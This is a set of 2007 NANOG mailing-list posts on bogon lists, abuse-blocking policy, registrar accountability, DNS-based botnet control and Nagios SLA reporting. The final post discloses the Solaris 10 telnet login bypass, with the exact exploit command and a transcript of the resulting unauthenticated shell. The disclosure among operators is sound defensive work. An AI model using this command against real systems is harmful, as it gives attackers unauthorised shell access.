On Sun, 8 Apr 2007, Jim Popovitch wrote: On Wed, 2007-03-28 at 11:24 -0700, Douglas Otis wrote: On Mar 28, 2007, at 11:08 AM, william(at)elan.net wrote: On Wed, 28 Mar 2007, Tony Finch wrote: completewhois has lists in various forms of bogon and hijacked networks. http://completewhois.com/bogons/bogons_usage.htm This list apparently does not track much of the active spoofed announcements. This is understandable, as this tracking remains a difficult task. I've been tracking that list for the past few days, and it seems to change quite a bit. I've also seen it delete 30% on day, and add it back in the next. Do bogons really change that much? If you're interested in comparing previous days data, its all archived at: http://completewhois.com/bogons/data/dailydata/ If you look at specific RIR files data files, you'd be able to tell that issue is lacnic space that is different. There exists a bug that causes cidr data after processing to not include .0 address which when happens severaly increases size of the list. Here is bogons data from today: 190.15.224.0/19 But yesterday the processing resulted in: 190.15.224.1/32 190.15.224.2/31 190.15.224.4/30 190.15.224.8/29 190.15.224.16/28 190.15.224.32/27 190.15.224.64/26 190.15.224.128/25 190.15.225.0/24 190.15.226.0/23 190.15.228.0/22 190.15.232.0/21 190.15.240.0/20 Stupid bug but its not reproduceable every time and with little impact (ok it does open small window for abuse) except size of file (correct size of is about 117-120k). -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: Slightly OT: Looking for an old domain for spam collection
On Mon, 9 Apr 2007, Jim Popovitch wrote: On Sun, 2007-04-08 at 21:59 -0700, william(at)elan.net wrote: Stupid bug but its not reproduceable every time and with little impact (ok it does open small window for abuse) except size of file (correct size of is about 117-120k). Stupid bugs severely impact automated processes. ;-) Not really severally, at least not have been my case, but I can see though that extra firewall rules with already larger cidr list would have some performance impact. I'll put up a flag to not release data (i.e. yesterday's would stay) when it happens. -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: Abuse procedures... Reality Checks
On Sat, 7 Apr 2007, Fergie wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Rich Kulawiec [EMAIL PROTECTED] wrote: 1. There's nothing indiscriminate about it. I often block /24's and larger because I'm holding the *network* operators responsible for what comes out of their operation. If they can't hold the outbound abuse down to a minimum, then I guess I'll have to make up for their negligence on my end. I don't care why it happens -- they should have thought through all this BEFORE plugging themselves in and planned accordingly. (Never build something you can't control.) I would have to respectfully disagree with you. When network operators do due diligence and SWIP their sub-allocations, they (the sub-allocations) should be authoritative in regards to things like RBLs. $.02, Yes. But the answer is that it also depends how many other cases like this exist from same operator. If they have 16 suballocations in /24 but say 5 of them are spewing, I'd block /24 (or larger) ISP block. The exact % of bad blocks (i.e. when to start blocking ISP) depends on your point of view and history with that ISP but most in fact do held ISPs partially responsible. -- William Leibzon Elan Networks [EMAIL PROTECTED]
RE: Abuse procedures... Reality Checks
On Sat, 7 Apr 2007, Frank Bulk wrote: If they're properly SWIPed why punish the ISP for networks they don't even operate, that obviously belong to their business customers? All ISPs have AUPs that prohibit spam (or at least I hope all of you do) though are enforced at some places better then at others... But the point is that each and every customer ISP is responsible for following that AUP and is responsible for making sure their customers follow it as well. So to answer you the view is that even if ISP do not operate the network by providing services and ip addresses they in fact basically do operate in on higher level and are partially directly responsible for what happens there including enforcing its AUP on its sub-ISP or business customer (and making sure they enforce same AUP provisions on their customers). Chain of responsibility if you like to think of it that way... And if the granular blocking is effectively shutting down the abuse from that sub-allocated block, didn't the network operator succeed in protecting themselves? Or is the netop looking to the ISP to push back on their customers to clean up their act? Or is the netop trying to teach the ISP a lesson? Of course, it doesn't hurt to copy the ISP or AS owner for abuse issues from a sub-allocated block -- you would hope that ISPs and AS owners would want to have clean customers. Yes, of course blocking of larger ISP block would happen only after trying to notify ISP of the problem for each of every one of those subblocks did not lead to any results. Frank -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of william(at)elan.net Sent: Saturday, April 07, 2007 5:58 PM To: Fergie Cc: [EMAIL PROTECTED]; nanog@merit.edu Subject: Re: Abuse procedures... Reality Checks On Sat, 7 Apr 2007, Fergie wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Rich Kulawiec [EMAIL PROTECTED] wrote: 1. There's nothing indiscriminate about it. I often block /24's and larger because I'm holding the *network* operators responsible for what comes out of their operation. If they can't hold the outbound abuse down to a minimum, then I guess I'll have to make up for their negligence on my end. I don't care why it happens -- they should have thought through all this BEFORE plugging themselves in and planned accordingly. (Never build something you can't control.) I would have to respectfully disagree with you. When network operators do due diligence and SWIP their sub-allocations, they (the sub-allocations) should be authoritative in regards to things like RBLs. $.02, Yes. But the answer is that it also depends how many other cases like this exist from same operator. If they have 16 suballocations in /24 but say 5 of them are spewing, I'd block /24 (or larger) ISP block. The exact % of bad blocks (i.e. when to start blocking ISP) depends on your point of view and history with that ISP but most in fact do held ISPs partially responsible. -- William Leibzon Elan Networks [EMAIL PROTECTED]
RE: On-going Internet Emergency and Domain Names
On Sat, 31 Mar 2007, Fergie wrote: Amen. The Registry policies, as they stand today, enable criminals. Registry or Registrar? -- William Leibzon Elan Networks [EMAIL PROTECTED]
RE: On-going Internet Emergency and Domain Names
On Sat, 31 Mar 2007, Fergie wrote: Amen. The Registry policies, as they stand today, enable criminals. Registry or Registrar? Good question. It is my understanding that the various domain registries answer to ICANN policy -- if ICANN policy allows them to operate in a manner which is conducive to allowing criminals to manipulate the system, then the buck stops with ICANN, and ICANN needs to rectify the problems in the policy framework. Yes, that's correct. Policies are only administered by registries and registrars, they are not made by them and registrars are supposed to be ultimately accountable to ICANN for adhering to them. If they are not doing something and there is nothing that says they should, we do have process to go through but its not an easy and fast and this process really does not go through nanog. But those are policy process issues and this is an operations mail list. Original question raised is who is ultimately better at acting on dns operational issues? Do you want all issues going through 100s of different registrars with some as responsible as RegisterFly? -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: On-going Internet Emergency and Domain Names (kill this thread)
On Sat, 31 Mar 2007, Steve Atkins wrote: I'm prepared to concede, despite your previous history, that there may well be an actual issue (as there are an awful lot of hideously ugly corners with both DNS the protocol and domain reigsitration the policy), but you're being incredibly bad at communicating what you actually think it is. He's talking about when DNS protocol is used to either control or serve as main entry into a botnet (i.e. domain points to various servers on botnet and quickly changes among them). Previously a lot of that was (still is?) done using IRC and it generally offers more superior tools but rudimentary control can be done with DNS quite easily and unlike IRC or higher-end ports that enterprise firewalls know quite well how to block, dns protocol is almost always available from any computer and it also has great way of providing externally reliable reference to unify thousands of botnet computers. But DNS here is just a tool, bad guys could easily build quite complex system of control by using active HTTP such as XML-RPC, they are just not that sophisticated (yet) or maybe they don't need anything but simple list of pointers. -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: Slightly OT: Looking for an old domain for spam collection
On Wed, 28 Mar 2007, Tony Finch wrote: On Wed, 28 Mar 2007, Ken Simpson wrote: What is particularly missing IMHO is a spoofed-BGP-route blacklist. Anyone making any progress on that sort of thing? completewhois has lists in various forms of bogon and hijacked networks. http://completewhois.com/bogons/bogons_usage.htm Only bogon list will catch some real-time hijacking and only when they are doing at the unannounced space (which does happen - see presentation at couple nanogs ago about spammers announcing full /8 and using unallocated portions; there were other cases too that did not use as large of an announcement). The real-time hijacking (short-announcements that go away in about an hour although some do stay longer) of someone else's space or short-term announcements of unused legacy space can only be caught when you know where correct announcements should come from and until we have SIDR, there is no reliable way to do it. The way i'm testing it is by comparing where routes for where announcements come from before and setting certain time period before route is considered adequate (this has obvious bad implications for those changing from one ASN to another). If my project get sufficiently stable for public consumption trials I'll let you know more but from what I wrote you should get an idea on how set something like it yourself (and I think this is something similar to what others are doing too already, I'm unsure if they are making data public or not). -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: SLA monitoring and reporting to customers
On Sun, 18 Mar 2007, Rubens Kuhl Jr. wrote: What open-source or low-budget tools are operators using for SLA monitoring when the reports (current state and historical) should be available to customers ? Please define SLA in terms of monitoring. - 99.x% availability (defined by packet loss and response time) monthly - A certain number of hours from service interruption to service recovery So what you're looking for is a number for a monthly report to be calculated based on known downtime as measured by monitoring software. Looking at NANOG archives, NAGIOS is the most prevalent tool, but its authorization mechanisms are somewhat below I would like so customers could not change anything both in configuration and in SLA software state You can setup so that customer only sees the data on status of the services he or she has access to by adding customer into as a contact for host or services. There are 2 main issues on my reading of http://nagios.sourceforge.net/docs/2_0/cgiauth.html - Users can issue commands for hosts/services they are contact for. They could acknowledge an outage even when we should know about it. If they acknowledge an outage you'll know about it (acknowledgement notification). I also don't necessarily see it as bad that user for some service to acknowledge that certain service (say HTTP) that you monitore is down and tells that they purposely took apache down. But I guess what you're asking for is additional permission list for nagios users for view-only access... - Some devices of interest to a customer are not specific to a customer: a switch, a router. If they are considered contact for such devices, they can issue commands for it. Depends on how you set it up. The setup that I use is that each router switch port is separate service and can have separate list of associated users and they will see no other data about the switch or issue commands for anything other then that switch. Do you think that your customers should or should not have such access to your central nagios system? That's something I woud like to hear opinions on, but even with NAGIOS such an issue could be solved by having one NOC-only NAGIOS and one customers-only NAGIOS. Using NagiosQL would be probably make replication easier. Yes that can be done. But maintaining separate parallel systems is actually a pain. I also would like to hear options on if more complex user permission systems is good to have for nagios web interface and if so what those permissions should be. I'm looking for something more like Cacti, where customers can be contained to only see some of the generated graphs. Would you be satisfied with graphing extension to nagios that is tied replicates nagios security mechanism where customer can see graphs for the service he/she is listed as contact for? Is it http://nagiosgraph.sourceforge.net/ ? Can a user be a nagiosgraph contact without being a NAGIOS contact ? I'm actually asking because I wrote my own web interface (see ngraph.cgi at http://www.elan.net/~william/nagios/) originally for nagiosgrapher but it is now being decoupled from particular graphing package and I plan to have it support multiple nagios data collection backend systems. The next step on TODO list is user access authenication which is supposed to replicate how nagios itself does it by allowing only authenticated users who are contacts for the service to see the graphs, BUT you do have opportunity here to tell what else such interface should support as far as user access rights control. (BTW, the current cgi does support specifying users who would have access to graphs but not nagios itself - however user would have access to see all graphs then...) -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: SLA monitoring and reporting to customers
On Sun, 18 Mar 2007, virendra rode // wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 william(at)elan.net wrote: On Sun, 18 Mar 2007, Rubens Kuhl Jr. wrote: What open-source or low-budget tools are operators using for SLA monitoring when the reports (current state and historical) should be available to customers ? Please define SLA in terms of monitoring. - --- I would say, - - availability OK - network connection up or UP/DOWN with list of when its down and for how long and SLA based on amount of time its been down or more commonly time_up/time_down*100 - - response time / latency ok ping latency graph for user view with SLA based on maximum average latency over given time period - - utilization How is that part of SLA? Or do you mean you gurantee that your own upstream network connection would not be overutilized? - - accuracy and errors accuracy of what? what type of errors, packet drops? - - five nines, six nines , take your pick and define your own holy grail. $ echo 60*24*365*(1-0.9) | bc -l 5.25600 You wish to tell me you guarantee network connection to customer to be down for no more then 5 minutes during the year? Yeh, right :) (but don't let me discourage any of you in trying to achieve it!) -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: SLA monitoring and reporting to customers
On Sun, 18 Mar 2007, Rubens Kuhl Jr. wrote: What open-source or low-budget tools are operators using for SLA monitoring when the reports (current state and historical) should be available to customers ? Please define SLA in terms of monitoring. Looking at NANOG archives, NAGIOS is the most prevalent tool, but its authorization mechanisms are somewhat below I would like so customers could not change anything both in configuration and in SLA software state You can setup so that customer only sees the data on status of the services he or she has access to by adding customer into as a contact for host or services. Do you think that your customers should or should not have such access to your central nagios system? I'm looking for something more like Cacti, where customers can be contained to only see some of the generated graphs. Would you be satisfied with graphing extension to nagios that is tied replicates nagios security mechanism where customer can see graphs for the service he/she is listed as contact for? -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: NOC Personel Question (Possibly OT)
On Thu, Mar 15, 2007 at 09:49:36AM -0400, Donald Stahl wrote: Anyway, I have a friend who used managed to get Not A Janitor on his business card. Rear Admiral was my favorite business card title if only because that was also the caller ID on my phone (I managed the PBX at the time). My old work let you pick what was on your old business card... my two favorites were: Good With his Hands and Organ Donor My boss was the only sysadmin for years, and he has The Guy Who Keeps the Servers Running on his business card. w
123.0.0.0/8 from AS7643 (was - Re: Where are static bogon filters appropriate? was: 96.2.0.0/16 Bogons)
Speaking of bogons and more practical daily operation issues, perhaps you guys can help reaching the fine folks at AS7643 or maybe their upstream provider can be kind enough to filter out the following: BGP routing table entry for 123.0.0.0/8, version 14613827 Paths: (1 available, best #1, not advertised outside local AS) Not advertised to any peer 3561 3491 7643 7643 7643 7643 Thanks. --- William Leibzon Elan Networks [EMAIL PROTECTED]
Is there a Hotmail contact around?
Could you please contact me off list? Sorry for the clutter... -Wil
Re: Is there another NANOG somewhere?
On Thu, 15 Feb 2007, Martin Hannigan wrote: http://www1.ietf.org/mail-archive/web/ietf/current/msg45167.html is about volume. for me, it's not the volume, per se. it is the shameless and (should be) embarrassing self-promotion, the copying and reposting of others' ideas and work, ... and it's not only gadi, but he makes such a good example. Lack of reference and cite would be something I would support the AUP discussing. The reason I addressed the volume component is that it seems to go hand in hand i.e. it's always the same poster(s). Overzealous mail list administration would make things only worse (we already experienced it once, remember?). I'd rather we all move one - as has already been made quite clear those who want to block Gadi's messages have already done so and others of us find his posts at times useful and at other times worth no more then delete key that most other messages on the list also experience. As to his lock of modesty and style when referencing other people's work I suggest you take it up with him privately if you think its worth your time. Otherwise I really don't see what nanog-l can do about it as its not a academic paper submissions list and should not become one... -- William Leibzon Elan Networks [EMAIL PROTECTED]
RE: death of the net predicted by deloitte -- film at 11
On Sun, 11 Feb 2007, Joseph Jackson wrote: My CIO is convinced that Google is going to take over the internet and everyone will pay google for access. He also believes that google will release their own protocol some sort of Google IP which everyone will have to pay for also. You mean like one well known company that tries to make sure everyone pays for most common programs everyone needs when they buy a computer? (you know it did not used to be like that 10 years ago...) As for google, I'd not expect them to charge but new protocol with the following structure will be right their alley: - destination address- (there is no need for source address since everything comes from google) -data you asked for- - data you did not ask for - (google advertisement space) :) -- William Leibzon Elan Networks [EMAIL PROTECTED]
Solaris 10 Telnet Exploit
http://erratasec.blogspot.com/2007/02/trivial-remote-solaris-0day- disable.html Tested on Sol10, and it indeed works... Good thing we use SSH, right?! iWil:~ wschultz$ telnet -l -fbin dns1 Trying A.B.C.D... Connected to dns1.my.com. Escape character is '^]'. Last login: Sun Feb 11 18:11:05 from A.B.C.D Sun Microsystems Inc. SunOS 5.10 Generic January 2005 $ id uid=2(bin) gid=2(bin) $
